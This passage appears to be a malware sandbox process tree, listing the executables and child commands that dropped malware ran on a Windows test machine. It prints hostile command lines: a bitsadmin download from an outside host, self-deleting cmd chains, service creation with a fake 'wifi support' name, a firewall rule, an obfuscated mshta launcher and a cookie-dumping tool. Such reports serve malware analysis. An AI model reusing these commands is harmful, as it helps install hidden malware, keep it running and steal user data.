-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:4120
-
-
-
-
C:\Users\Admin\Documents\vLmtPweGMGBBAmOk38WvobD_.exe"C:\Users\Admin\Documents\vLmtPweGMGBBAmOk38WvobD_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4576
-
-
C:\Users\Admin\Documents\bbHYA3KtkP8idyiBGc9KAnwL.exe"C:\Users\Admin\Documents\bbHYA3KtkP8idyiBGc9KAnwL.exe"2⤵
- Executes dropped EXE
PID:4228
-
-
C:\Users\Admin\Documents\7dO3AcV4MntYGLQ5fxG0U27y.exe"C:\Users\Admin\Documents\7dO3AcV4MntYGLQ5fxG0U27y.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4380
-
-
C:\Users\Admin\Documents\VuNmFDaj7FtVoyGybmMYf96y.exe"C:\Users\Admin\Documents\VuNmFDaj7FtVoyGybmMYf96y.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:188
-
-
C:\Users\Admin\Documents\jMY7GilChxHnK0oIK3nl4cxV.exe"C:\Users\Admin\Documents\jMY7GilChxHnK0oIK3nl4cxV.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:2656 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im jMY7GilChxHnK0oIK3nl4cxV.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\jMY7GilChxHnK0oIK3nl4cxV.exe" & del C:\ProgramData\*.dll & exit3⤵PID:5836
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im jMY7GilChxHnK0oIK3nl4cxV.exe /f4⤵
- Kills process with taskkill
PID:3296
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:5804
-
-
-
-
C:\Users\Admin\Documents\LFczZRTYS1TkaDeFZQXZHZ1n.exe"C:\Users\Admin\Documents\LFczZRTYS1TkaDeFZQXZHZ1n.exe"2⤵
- Executes dropped EXE
PID:4752 -
C:\Users\Admin\Documents\LFczZRTYS1TkaDeFZQXZHZ1n.exe"C:\Users\Admin\Documents\LFczZRTYS1TkaDeFZQXZHZ1n.exe"3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4536
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4752 -s 7683⤵
- Program crash
PID:4352
-
-
-
C:\Users\Admin\Documents\uMEeNITWItDkhAKLDPshA76e.exe"C:\Users\Admin\Documents\uMEeNITWItDkhAKLDPshA76e.exe"2⤵
- Executes dropped EXE
PID:204 -
C:\Users\Admin\Documents\uMEeNITWItDkhAKLDPshA76e.exe"C:\Users\Admin\Documents\uMEeNITWItDkhAKLDPshA76e.exe" -a3⤵
- Executes dropped EXE
PID:5040
-
-
-
C:\Users\Admin\Documents\ZxydUqlNe1fW9fRRy5kHikrn.exe"C:\Users\Admin\Documents\ZxydUqlNe1fW9fRRy5kHikrn.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4968 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4968 -s 8883⤵
- Program crash
PID:936
-
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4264
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:4264 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵PID:4184
-
-
C:\Users\Admin\AppData\Local\Temp\238D.exeC:\Users\Admin\AppData\Local\Temp\238D.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
PID:1356 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 238D.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\238D.exe" & del C:\ProgramData\*.dll & exit2⤵PID:1376
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
- Loads dropped DLL
PID:4184
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 238D.exe /f3⤵
- Kills process with taskkill
PID:2464
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:4252
-
-
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:6108
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:4660
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵PID:5672
-
C:\Users\Admin\AppData\Local\Temp\3442.exeC:\Users\Admin\AppData\Local\Temp\3442.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4484
-
C:\Users\Admin\AppData\Local\Temp\3608.exeC:\Users\Admin\AppData\Local\Temp\3608.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5940
-
C:\Users\Admin\AppData\Local\Temp\90BC.exeC:\Users\Admin\AppData\Local\Temp\90BC.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6024
-
C:\Users\Admin\AppData\Local\Temp\92B1.exeC:\Users\Admin\AppData\Local\Temp\92B1.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1784
-
C:\Users\Admin\AppData\Local\Temp\963C.exeC:\Users\Admin\AppData\Local\Temp\963C.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4416
-
C:\Users\Admin\AppData\Local\Temp\9A64.exeC:\Users\Admin\AppData\Local\Temp\9A64.exe1⤵
- Executes dropped EXE
PID:5388 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Nel.tmp2⤵PID:3600
-
C:\Windows\SysWOW64\cmd.execmd3⤵PID:1256
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^CveySoEZqqMrsTFaYBongFlRQEfexsadHXQIISdfxuJJyCkEiLUlCPbXklghSBFIIcvzeWKylTriVBLgzKUIvoNRATvbEevTBwqJuRBlwPqJMfwJmqUiGWkAHESpAjAivp$" Sofferenza.tmp4⤵PID:1876
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Convertira.exe.comConvertira.exe.com i4⤵PID:5812
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Convertira.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Convertira.exe.com i5⤵PID:192
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Convertira.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Convertira.exe.com i6⤵
- Drops startup file
- Suspicious use of SetThreadContext
PID:4884 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe7⤵PID:6324
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 304⤵
- Runs ping.exe
PID:5260
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9F08.exeC:\Users\Admin\AppData\Local\Temp\9F08.exe1⤵
- Executes dropped EXE
PID:1680
-
C:\Users\Admin\AppData\Local\Temp\A207.exeC:\Users\Admin\AppData\Local\Temp\A207.exe1⤵PID:5552
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5024
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:5356
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3832
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:2460
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5656
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:2260
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:3936
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:4832
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:592
-
C:\Users\Admin\AppData\Local\Temp\ED3A.exeC:\Users\Admin\AppData\Local\Temp\ED3A.exe1⤵
- Suspicious use of SetThreadContext
PID:4524 -
C:\Users\Admin\AppData\Local\Temp\ED3A.exeC:\Users\Admin\AppData\Local\Temp\ED3A.exe2⤵
- Adds Run key to start application
PID:500 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\e5a6e0e4-f436-453b-b691-bcdfeba5615c" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:3460
-
-
C:\Users\Admin\AppData\Local\Temp\ED3A.exe"C:\Users\Admin\AppData\Local\Temp\ED3A.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Suspicious use of SetThreadContext
PID:1128 -
C:\Users\Admin\AppData\Local\Temp\ED3A.exe"C:\Users\Admin\AppData\Local\Temp\ED3A.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:4200
-
C:\Users\Admin\AppData\Local\6562df16-bbad-4df7-96f1-0e2cce44b30a\build2.exe"C:\Users\Admin\AppData\Local\6562df16-bbad-4df7-96f1-0e2cce44b30a\build2.exe"5⤵
- Suspicious use of SetThreadContext
PID:5460 -
C:\Users\Admin\AppData\Local\6562df16-bbad-4df7-96f1-0e2cce44b30a\build2.exe"C:\Users\Admin\AppData\Local\6562df16-bbad-4df7-96f1-0e2cce44b30a\build2.exe"6⤵
- Loads dropped DLL
- Checks processor information in registry
PID:4960 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\6562df16-bbad-4df7-96f1-0e2cce44b30a\build2.exe" & del C:\ProgramData\*.dll & exit7⤵PID:1824
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:5968
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:7024
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\F691.exeC:\Users\Admin\AppData\Local\Temp\F691.exe1⤵
- Checks whether UAC is enabled
PID:1344
-
C:\Users\Admin\AppData\Local\Temp\F838.exeC:\Users\Admin\AppData\Local\Temp\F838.exe1⤵PID:5212
-
C:\Users\Admin\AppData\Local\Temp\is-KRTU5.tmp\F838.tmp"C:\Users\Admin\AppData\Local\Temp\is-KRTU5.tmp\F838.tmp" /SL5="$802C2,172303,88576,C:\Users\Admin\AppData\Local\Temp\F838.exe"2⤵
- Loads dropped DLL
PID:5108 -
C:\Users\Admin\AppData\Local\Temp\is-1IQ9C.tmp\èeèrgegdè_éçè_)))_.exe"C:\Users\Admin\AppData\Local\Temp\is-1IQ9C.tmp\èeèrgegdè_éçè_)))_.exe" /S /UID=rec73⤵
- Drops file in Drivers directory
- Adds Run key to start application
PID:6132 -
C:\Program Files\Windows Defender Advanced Threat Protection\CDWCVIWADJ\irecord.exe"C:\Program Files\Windows Defender Advanced Threat Protection\CDWCVIWADJ\irecord.exe" /VERYSILENT4⤵PID:1940
-
C:\Users\Admin\AppData\Local\Temp\is-MS0G3.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-MS0G3.tmp\irecord.tmp" /SL5="$1033E,5808768,66560,C:\Program Files\Windows Defender Advanced Threat Protection\CDWCVIWADJ\irecord.exe" /VERYSILENT5⤵
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:736 -
C:\Program Files (x86)\i-record\I-Record.exe"C:\Program Files (x86)\i-record\I-Record.exe" -silent -desktopShortcut -programMenu6⤵
- Loads dropped DLL
PID:5816
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a9-22a94-1dc-e4eb0-cf22a21ae7333\Laexedaecedae.exe"C:\Users\Admin\AppData\Local\Temp\a9-22a94-1dc-e4eb0-cf22a21ae7333\Laexedaecedae.exe"4⤵
- Checks computer location settings
PID:4972
-
-
C:\Users\Admin\AppData\Local\Temp\6b-b276d-472-9faa2-f9f4bc3c6c6db\ZHycaxegegu.exe"C:\Users\Admin\AppData\Local\Temp\6b-b276d-472-9faa2-f9f4bc3c6c6db\ZHycaxegegu.exe"4⤵PID:5800
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ga3cheir.cdo\GcleanerEU.exe /eufive & exit5⤵PID:1020
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\u203bayn.jws\installer.exe /qn CAMPAIGN="654" & exit5⤵PID:4512
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\leye1fi1.f3h\Setup3310.exe /Verysilent /subid=623 & exit5⤵PID:4644
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:5244
-
-
C:\Users\Admin\AppData\Local\Temp\leye1fi1.f3h\Setup3310.exeC:\Users\Admin\AppData\Local\Temp\leye1fi1.f3h\Setup3310.exe /Verysilent /subid=6236⤵PID:2152
-
C:\Users\Admin\AppData\Local\Temp\is-VCHDC.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-VCHDC.tmp\Setup3310.tmp" /SL5="$203BE,138429,56832,C:\Users\Admin\AppData\Local\Temp\leye1fi1.f3h\Setup3310.exe" /Verysilent /subid=6237⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:5632 -
C:\Users\Admin\AppData\Local\Temp\is-3PEEJ.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-3PEEJ.tmp\Setup.exe" /Verysilent8⤵PID:6480
-
C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"9⤵PID:6588
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵PID:6932
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵PID:5020
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵PID:6244
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt10⤵PID:2784
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"C:\Program Files (x86)\Data Finder\Versium Research\LabPicV3.exe"9⤵PID:6612
-
C:\Users\Admin\AppData\Local\Temp\LabPicV3.exe"C:\Users\Admin\AppData\Local\Temp\LabPicV3.exe" end10⤵PID:6976
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"C:\Program Files (x86)\Data Finder\Versium Research\lylal220.exe"9⤵
- Checks whether UAC is enabled
PID:6604
-
-
C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"9⤵
- Checks computer location settings
PID:6596 -
C:\Windows\SysWOW64\rUNdlL32.eXe"C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl10⤵
- Loads dropped DLL
PID:3048
-
-
-
C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"9⤵PID:6580
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lw4sdl2o.kk1\google-game.exe & exit5⤵PID:5448
-
C:\Users\Admin\AppData\Local\Temp\lw4sdl2o.kk1\google-game.exeC:\Users\Admin\AppData\Local\Temp\lw4sdl2o.kk1\google-game.exe6⤵PID:6256
-
C:\Users\Admin\AppData\Local\Temp\lw4sdl2o.kk1\google-game.exe"C:\Users\Admin\AppData\Local\Temp\lw4sdl2o.kk1\google-game.exe" -a7⤵PID:6416
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tqjq1r2d.zxd\toolspab1.exe & exit5⤵PID:6228
-
C:\Users\Admin\AppData\Local\Temp\tqjq1r2d.zxd\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\tqjq1r2d.zxd\toolspab1.exe6⤵
- Suspicious use of SetThreadContext
PID:6652 -
C:\Users\Admin\AppData\Local\Temp\tqjq1r2d.zxd\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\tqjq1r2d.zxd\toolspab1.exe7⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7072
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\e1hgw4wi.52g\SunLabsPlayer.exe /S & exit5⤵PID:6472
-
C:\Users\Admin\AppData\Local\Temp\e1hgw4wi.52g\SunLabsPlayer.exeC:\Users\Admin\AppData\Local\Temp\e1hgw4wi.52g\SunLabsPlayer.exe /S6⤵
- Loads dropped DLL
- Drops file in Program Files directory
PID:5136 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6064
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵PID:4120
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6788
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:7016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6208
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6940
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:4916
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵
- Checks for any installed AV software in registry
PID:5732
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z7⤵
- Download via BitsAdmin
PID:4700
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pciPvfgZyUkzN4QM -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵
- Drops file in Program Files directory
PID:4160
-
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppEffkJZ45294Dbr -y x C:\zip.7z -o"C:\Program Files\temp_files\"7⤵PID:5648
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:4184
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:5592
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:580
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6248
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:5108
-
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx7⤵PID:6548
-
C:\Windows\system32\rundll32.exeC:\Windows\System32\rundll32.exe "C:\Program Files (x86)\QRIvBFx\QRIvBFx.dll" QRIvBFx8⤵
- Drops file in System32 directory
PID:6856
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:7108
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:6464
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:3808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:3160
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh9971.tmp\tempfile.ps1"7⤵PID:3220
-
-
C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe"C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT7⤵PID:6552
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b2az0smq.lc3\GcleanerWW.exe /mixone & exit5⤵PID:6484
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
PID:4528
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\345.exeC:\Users\Admin\AppData\Local\Temp\345.exe1⤵PID:4120
-
C:\Users\Admin\AppData\Local\Temp\345.exe"C:\Users\Admin\AppData\Local\Temp\345.exe"2⤵
- Modifies data under HKEY_USERS
PID:6176
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 6442⤵
- Program crash
PID:6196
-
-
C:\Users\Admin\AppData\Local\Temp\673.exeC:\Users\Admin\AppData\Local\Temp\673.exe1⤵
- Adds Run key to start application
PID:5648 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wqkrhpsm\2⤵PID:788
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kltyfja.exe" C:\Windows\SysWOW64\wqkrhpsm\2⤵PID:4952
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create wqkrhpsm binPath= "C:\Windows\SysWOW64\wqkrhpsm\kltyfja.exe /d\"C:\Users\Admin\AppData\Local\Temp\673.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:4596
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description wqkrhpsm "wifi internet conection"2⤵PID:5868
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start wqkrhpsm2⤵PID:5884
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:5244
-
-
C:\Users\Admin\ntpyxrhm.exe"C:\Users\Admin\ntpyxrhm.exe" /d"C:\Users\Admin\AppData\Local\Temp\673.exe"2⤵PID:5452
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jqnpceny.exe" C:\Windows\SysWOW64\wqkrhpsm\3⤵PID:4440
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" config wqkrhpsm binPath= "C:\Windows\SysWOW64\wqkrhpsm\jqnpceny.exe /d\"C:\Users\Admin\ntpyxrhm.exe\""3⤵PID:1368
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start wqkrhpsm3⤵PID:788
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul3⤵PID:4424
-
-
-
C:\Users\Admin\AppData\Local\Temp\B08.exeC:\Users\Admin\AppData\Local\Temp\B08.exe1⤵
- Loads dropped DLL
- Checks processor information in registry
PID:3460 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im B08.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\B08.exe" & del C:\ProgramData\*.dll & exit2⤵PID:5912
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im B08.exe /f3⤵
- Kills process with taskkill
PID:804
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:5136
-
-
-
C:\Users\Admin\AppData\Local\Temp\1058.exeC:\Users\Admin\AppData\Local\Temp\1058.exe1⤵PID:4896
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBSCriPt:ClOSE(cREAteObjecT("wscrIPt.sHeLL" ). rUN ("C:\Windows\system32\cmd.exe /q/C cOpy /y ""C:\Users\Admin\AppData\Local\Temp\1058.exe"" ..\qXK~CwG.exe&& START ..\QxK~CWG.EXe -PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs & if """" == """" for %u iN (""C:\Users\Admin\AppData\Local\Temp\1058.exe"") do taskkill -F -IM ""%~Nxu"" " ,0, trUE))2⤵PID:1668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /q/C cOpy /y "C:\Users\Admin\AppData\Local\Temp\1058.exe" ..\qXK~CwG.exe&& START ..\QxK~CWG.EXe -PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs & if ""== "" for %u iN ("C:\Users\Admin\AppData\Local\Temp\1058.exe") do taskkill -F -IM "%~Nxu"3⤵PID:1828
-
C:\Users\Admin\AppData\Local\Temp\qXK~CwG.exe..\QxK~CWG.EXe -PR0oRU_ZO88aZ9ZaPNxDj_e0zJ2xs4⤵PID:2068
-
